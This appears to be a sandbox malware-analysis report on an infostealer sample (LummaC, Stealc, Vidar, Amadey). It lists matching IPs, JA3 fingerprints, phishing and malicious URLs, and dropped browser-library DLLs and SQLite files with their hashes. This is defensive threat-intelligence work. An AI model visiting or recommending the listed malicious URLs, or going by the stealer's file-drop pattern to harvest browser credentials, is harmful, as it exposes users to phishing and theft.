	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASUS	file.exe	Get hash	malicious	LummaC	Browse	23.192.247.89
	Invoice #16468.docx	Get hash	malicious	Unknown	Browse	184.28.90.27
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	23.192.247.89
	https://www.canva.com/design/DAGV5ZsI2aM/Y4DbzinsvfGp5Ll4c_oJJQ/view?utm_content=DAGV5ZsI2aM&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	2.19.126.219
	https://fnv.morsentutra.ru/DD8Q/	Get hash	malicious	Unknown	Browse	88.221.169.152
	file.exe	Get hash	malicious	LummaC	Browse	23.192.247.89
	Attachment-914011545-004.pdf	Get hash	malicious	Unknown	Browse	23.195.92.153
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC	Browse	23.192.247.89
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
AKAMAI-ASUS	file.exe	Get hash	malicious	LummaC	Browse	23.192.247.89
	Invoice #16468.docx	Get hash	malicious	Unknown	Browse	184.28.90.27
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	23.192.247.89
	https://www.canva.com/design/DAGV5ZsI2aM/Y4DbzinsvfGp5Ll4c_oJJQ/view?utm_content=DAGV5ZsI2aM&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	2.19.126.219
	https://fnv.morsentutra.ru/DD8Q/	Get hash	malicious	Unknown	Browse	88.221.169.152
	file.exe	Get hash	malicious	LummaC	Browse	23.192.247.89
	Attachment-914011545-004.pdf	Get hash	malicious	Unknown	Browse	23.195.92.153
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC	Browse	23.192.247.89
MICROSOFT-CORP-MSN-AS-BLOCKUS	Invoice #16468.docx	Get hash	malicious	Unknown	Browse	52.109.28.46
	https://www.hopp.bio/hawksridgefarms	Get hash	malicious	Mamba2FA	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.101.168.44
	https://fnv.morsentutra.ru/DD8Q/	Get hash	malicious	Unknown	Browse	20.236.44.162
	nanocore.exe	Get hash	malicious	NanoCore	Browse	51.103.213.187
	sora.mpsl.elf	Get hash	malicious	Mirai	Browse	40.108.137.194
	njrat.exe	Get hash	malicious	BrowserPasswordDump Tool, Njrat	Browse	51.103.213.187
	https://progressiverealtypartners-my.sharepoint.com/:u:/g/personal/tim_prpmgmt_com/EdZinr2CPWZEuxpjzT68pWkB_BXb703gHPyGyIw4BgsN9Q?e=R4oSZ5	Get hash	malicious	Unknown	Browse	52.108.9.12
	dcrat.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	51.103.213.187
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	http://invoicehome.uk/invoice.zip	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.68 13.107.246.45
	https://vinculocomputer.com/run/	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.68 13.107.246.45
	https://www.hopp.bio/hawksridgefarms	Get hash	malicious	Mamba2FA	Browse	52.149.20.212 184.28.90.27 40.126.32.68 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	52.149.20.212 184.28.90.27 40.126.32.68 13.107.246.45
	https://9lrcO5435enkIg6bUCf.duzl.de/9lrcO/enkIg6bUCf/n6tpnsszmdaibMhCn01b1b7xgen/9lrcO/enkIg6bUCf/Michael+AF8-jakubek/5435/qvc.com/n6tpnsszmdaibMhCn01b+ACI-	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.68 13.107.246.45
	https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://www.google.nl/url?q=ZFCKQSES42J831UCOWMB4MEAK36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%25A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fthedailyparanoia%2Ecom%2F	Get hash	malicious	HTMLPhisher	Browse	52.149.20.212 184.28.90.27 40.126.32.68 13.107.246.45
	https://estore.winxdvd.com/l.php?link=uh75n2uyaf5b%7C143517067	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.68 13.107.246.45
	https://progressiverealtypartners-my.sharepoint.com/:u:/g/personal/tim_prpmgmt_com/EdZinr2CPWZEuxpjzT68pWkB_BXb703gHPyGyIw4BgsN9Q?e=R4oSZ5	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.68 13.107.246.45
	https://fvggtrgtr57crthrvtrhrh.s3.us-east-2.amazonaws.com/u7yy78ty7t6fg67t676t/hg7g6g6gfvj5rfj/index.html	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.68 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	52.149.20.212 184.28.90.27 40.126.32.68 13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 23.192.247.89
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3 23.192.247.89
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	188.114.97.3 23.192.247.89
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.bat	Get hash	malicious	AgentTesla, DBatLoader	Browse	188.114.97.3 23.192.247.89
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3 23.192.247.89
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 23.192.247.89
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3 23.192.247.89
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 23.192.247.89
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	188.114.97.3 23.192.247.89
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3 23.192.247.89

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAKEGIJE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BAEBGHCFCAAFIECAFIII

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBGHCAKKFBGDHJJJKECFBKKECG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBFBFBGDBKJJKFIEHJDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\EBKKKEGIDBGHIDGDHDBFHDAKJJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJJEHJJK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265185595170012
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMNSAELyKOMq+8yC8F/YfU5m+OlTLVumB:Bq+n0JN9ELyKOMq+8y9/OwC
MD5:	C03738096C6A3C8FD8ABD5109CC7F2DF
SHA1:	70F16F53D296C2B72129BF855944BEAB7599D0CF
SHA-256:	5D396369190112640C7E4FEE04A9142BE3962EAED6554CC62E1FC94A5A8EC5C1
SHA-512:	C43610B62272CB2A64C741D0A66827CEBDBA345F2AF35CEAA73D7AA73F30ADECACA43C7A8988BD3BD6CDC7197F1D446A1CEC66E6EED664D83840589AC2EE6479
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJJJDAEGIDHCBFHJJJEG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\9ec07c9018.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1f62175b-7ad4-43b1-9883-d3aee7c6335e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46216
Entropy (8bit):	6.087797052099474
Encrypted:	false
SSDEEP:	768:IMkbJrT8IeQcrQgqoswiuohDO6vP6OyF8nZW6486sFa6EKhy1DhSCAomGoup1XlR:IMk1rT8HKosa6rN01sRomhu3VlXr4I
MD5:	49B2CEA896AB92ED51C56EA960CAFF49
SHA1:	B78EAE59E16A6E591B1F9B60C0A011816604735E
SHA-256:	BB9E918C8880A54B7FE17101516FBBBD539948CF45F1A688E2EB891C3114E0A8
SHA-512:	FA42D0F83DA9E8B9E40C0D18E7D02D5CD2E4D57FE393B3393340B28031B7640AF7C224CC6ECD994C161B3D88B9B05C16CC6347B04D0594FDDC81D35FF58116F9
Malicious:	false
